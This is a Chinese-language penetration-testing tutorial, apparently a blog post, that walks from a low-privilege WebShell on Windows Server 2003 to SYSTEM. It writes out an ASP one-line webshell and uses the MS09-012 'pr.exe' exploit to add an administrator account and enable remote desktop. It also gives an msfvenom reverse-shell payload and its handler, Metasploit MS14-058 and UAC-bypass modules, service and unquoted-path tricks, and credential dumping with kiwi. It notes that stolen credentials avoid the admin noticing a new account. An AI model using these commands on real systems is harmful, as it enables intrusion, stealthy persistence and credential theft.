在渗透测试的完整流程中,当我们通过 SQL 注入、文件上传、命令执行等方式突破 Web 边界,拿到目标服务器的 WebShell 后,往往会陷入一个尴尬的境地:当前的来宾用户权限极低,连执行系统命令、添加用户这类基础操作都无法完成。
这时候,\\ 权限提升(Privilege Escalation,简称提权)\\ 就成了我们拿下目标服务器的关键一步。本文将以 Windows Server 2003 为演示环境,带你一步步从低权限的 WebShell 出发,通过多种经典提权方法,最终拿到 System 最高权限,完成对目标服务器的完全控制。
一、前置准备:从 WebShell 到命令执行
提权的前提,是我们已经拿到了目标的 WebShell。
1.1 什么是 WebShell?
WebShell 本质上就是一个以 asp、php、jsp、cgi 等网页文件形式存在的代码执行环境,攻击者可以通过它远程对目标网站 / 服务器进行管理操作。最常见的 WebShell 就是一句话木马,比如 ASP 版本的一句话木马仅需一行代码:
<%eval request("test")%>
这行代码的作用是接收我们传入的参数,然后作为 ASP 代码执行,从而实现任意命令的执行。
1.2 连接 WebShell:中国菜刀的使用
拿到一句话木马后,我们可以通过中国菜刀(一款经典的 WebShell 管理工具)连接目标服务器。只需要填入木马的地址、连接密码,就能建立连接。

连接成功后,我们就可以浏览目标网站的文件、管理数据库,还能打开虚拟终端执行系统命令。
1.3 突破命令执行限制
但是当我们刚打开虚拟终端,尝试执行whoami、dir这类基础命令时,却会发现提示拒绝访问。
这是为什么呢? 因为 Web 服务的默认运行身份是IUSR\_计算机名,也就是来宾用户,这个权限极低。系统默认的cmd\.exe没有给来宾用户开放执行权限,所以我们直接调用系统自带的 cmd 是无法执行命令的。
那我们该怎么解决这个问题? 思路很简单:既然系统的 cmd 用不了,我们就自己传一个 cmd 上去!
-
找到可读写目录 :首先我们需要找到目标服务器上我们有读写权限的目录。我们可以上传一个目录权限检测脚本(比如 666.asp),访问后输入要检测的目录(比如 C 盘),就能找到像
C:\\wmpub\\这类我们有完全读写权限的目录。 -
上传自定义 cmd :我们在本地的 Windows 2003 虚拟机中,提取出系统的
cmd\.exe,通过菜刀上传到刚才找到的可读写目录里。 -
配置菜刀的 cmd 路径 :在菜刀的终端里,用
setp命令指定我们上传的 cmd 的绝对路径:setp c:\wmpub\cmd.exe
这一步的原理是:我们自己上传的 cmd.exe,是以来宾用户的身份运行的,它本身就拥有 IUSR 用户的执行权限,所以我们可以通过它来正常执行系统命令了。
配置完成后,我们再执行命令,就可以正常得到结果了!不过这时候我们的权限还是来宾用户,想要添加用户、修改系统配置,还是会提示拒绝访问 ------ 这时候就需要真正的提权操作了。
二、经典内核提权:MS09-012(巴西烤肉)
想要提权,首先我们得知道目标服务器有哪些未打补丁的漏洞。
2.1 漏洞探测:找出未打的补丁
我们可以执行systeminfo命令,查看系统的详细配置和补丁信息,然后用这个批量检测命令,快速找出目标未打的、可用于提权的补丁:
systeminfo>micropoor.txt&(for %i in ( KB977165 KB2160329 KB2503665 KB2592799 KB2707511 KB2829361 KB2850851 KB3000061 KB3045171 KB3077657 KB3079904 KB3134228 KB3143141 KB3141780 )) do @type micropoor.txt|@find /i "%i"|| @echo %i you can fuck)&del /f /q /a micropoor.txt
这个命令会对比常见提权漏洞对应的补丁编号,把目标没打的补丁列出来,我们就可以根据这些补丁找对应的 EXP 来提权了。
2.2 巴西烤肉提权:从 Guest 到 System
对于 Windows Server 2003,最经典的提权漏洞就是MS09-012 ,也就是大家常说的 "巴西烤肉" 提权。
这个漏洞的原理是:Windows 的 RPCSS 服务没有正确隔离 NetworkService 或 LocalService 账号下的进程,本地攻击者可以利用令牌劫持的方式,突破权限边界,把低权限的来宾用户直接提升到 System 权限。成功利用后,攻击者可以完全控制目标系统,安装程序、修改数据、创建管理员账号都不在话下。
具体的利用步骤非常简单:
-
把 MS09-012 对应的利用工具
pr\.exe上传到目标的可读写目录,比如C:\\wmpub\\ -
切换到这个目录,然后用
pr\.exe来执行我们想要的命令,格式是pr\.exe \&\#34;要执行的命令\&\#34;比如我们先执行:pr.exe "whoami"这时候你会发现,返回的用户身份是
NT AUTHORITY\\SYSTEM!
这就说明我们已经提权成功了!接下来我们就可以做任何我们想做的操作了:
-
添加管理员用户:
pr.exe "net user 1234 1234 /add" -
把用户加入管理员组:
pr.exe "net localgroup administrators 1234 /add" -
开启 3389 远程桌面:我们可以通过注册表命令一键开启远程桌面服务:
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
完成之后,我们就可以用 Windows 自带的远程桌面连接工具,输入目标服务器的 IP,用我们创建的 1234 账号密码登录,直接拿到目标服务器的桌面权限了!

到这里,我们就已经完全控制了这台目标服务器!
三、MSF 辅助提权:更高效的渗透流程
除了手动用 EXP 提权,我们还可以用 Metasploit(MSF)这个渗透神器来更方便地完成整个提权流程。
3.1 生成反弹木马
首先,我们在 Kali Linux 中,用msfvenom工具生成一个 Windows 的反弹木马:
msfvenom -p windows/meterpreter/reverse_tcp lhost=10.0.0.9 lport=4444 -f exe -o hack.exe
这个命令会生成一个 exe 文件,运行后会主动连接我们的 Kali 机器,给我们返回一个 Meterpreter 会话。
3.2 启动监听
然后我们在 Kali 中启动 MSF,设置监听,等待目标上线:
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 10.0.0.9
set lport 4444
run

3.3 上线与提权
接下来,我们把生成的hack\.exe上传到目标服务器,然后在菜刀的终端里执行它。这时候 Kali 的监听就会收到目标的反弹 Shell 了!
这时候我们执行getuid,会发现当前的权限是NETWORK SERVICE,还是不够高。我们可以先尝试最简单的getsystem命令,它会自动尝试多种提权方法,如果目标未打相关补丁,就能直接提权到 System。
如果getsystem失败了,我们还可以尝试用具体的漏洞模块来提权,比如MS14-058这个经典的内核提权漏洞,它可以影响从 Windows 2003 到 Win7 的多个系统。 操作步骤:
# 先把当前会话放到后台
background
# 搜索MS14-058的利用模块
search ms14_058
# 加载模块
use exploit/windows/local/ms14_058_track_popup_menu
# 查看需要配置的参数
show options
# 设置我们要提权的会话ID
set SESSION 1
# 执行攻击
run
执行完成后,我们就会得到一个新的、System 权限的会话!这时候再执行getuid,就能看到我们已经拿到了最高权限。
四、绕过 UAC:突破高版本系统的权限限制
如果目标是 Win7 及以上的系统,我们拿到管理员权限的 Shell 后,可能会发现还是无法执行一些高权限操作,这时候大概率是遇到了UAC(用户账户控制)。
UAC 是 Windows Vista 之后引入的安全机制,它会限制管理员用户的默认权限,当需要高权限操作时,会弹出确认提示,而我们的恶意程序无法触发这个提示,所以就会被拦截。
这时候我们就可以用 Bypass UAC 的方法来绕过这个限制:
-
同样,我们先拿到目标的反弹 Shell,然后把会话放到后台。
-
在 MSF 中搜索 bypassuac 的模块:
search bypassuac use exploit/windows/local/bypassuac -
设置对应的会话,然后执行
run,这个模块会通过白名单提权的方式,绕过 UAC 的限制,给我们返回一个高权限的 Shell。 -
拿到新的会话后,再执行
getsystem,就能成功提权到 System 权限了!
五、其他实用提权技巧
除了内核漏洞提权,还有很多其他的提权方法,在不同的场景下都非常有用:
5.1 SC 服务提权
SC 是 Windows 的服务控制命令,我们可以创建一个交互类型的服务,它会默认以 System 权限运行:
sc Create syscm binPath= "cmd /K start" type= own type= interact
sc start syscm
执行后,就会弹出一个 System 权限的 CMD 窗口,我们直接就拿到了最高权限!
5.2 不安全的空格提权
很多第三方软件的服务路径没有加引号,比如C:\\Program Files\\Test\\test\.exe,Windows 在处理这种路径的时候,会优先尝试执行C:\\Program\.exe,因为它会把空格当成路径的分隔。
如果这个软件的根目录我们有读写权限,我们就可以上传一个恶意的 exe,命名为Program\.exe,当服务启动的时候,就会执行我们的恶意程序,而且会继承服务的 System 权限,完成提权!
5.3 Cobalt Strike 提权
如果我们用的是 Cobalt Strike(CS)这款红队工具,提权和后续的信息收集会更加方便:

-
拿到 CS 的会话后,直接在右键菜单中就有
提权选项,它会自动尝试多种提权方法。 -
提权成功后,我们可以直接抓取系统的账号密码 Hash、明文凭证,用来做内网的横向移动。
-
还可以生成黄金票据、进行令牌窃取,来伪装成其他用户,甚至域管理员。
六、提权后的信息收集
提权成功拿到 System 权限后,我们一般会做信息收集,方便我们后续的渗透:
-
抓取系统凭证:在 MSF 中,我们可以加载 kiwi 模块,来提取系统的所有凭证:
load kiwi creds_all这些凭证不仅可以让我们用原有的账号登录,不会被管理员发现新账号,还可以用来爆破内网的其他服务器。
-
进程迁移:如果我们的 Shell 会话假死了,可以把进程迁移到一个 System 权限的系统进程里,就能恢复正常的操作了。
写在最后
Windows 提权是渗透测试中非常关键的一步,从低权限的 WebShell 到 System 权限,有非常多的方法和技巧。内核漏洞提权、UAC 绕过、服务漏洞提权等等,不同的场景下我们需要灵活选择对应的方法。
当然,对于服务器管理员来说,及时给系统打补丁、做好最小权限配置、开启 UAC 防护,才是防范这类提权攻击的最好方式。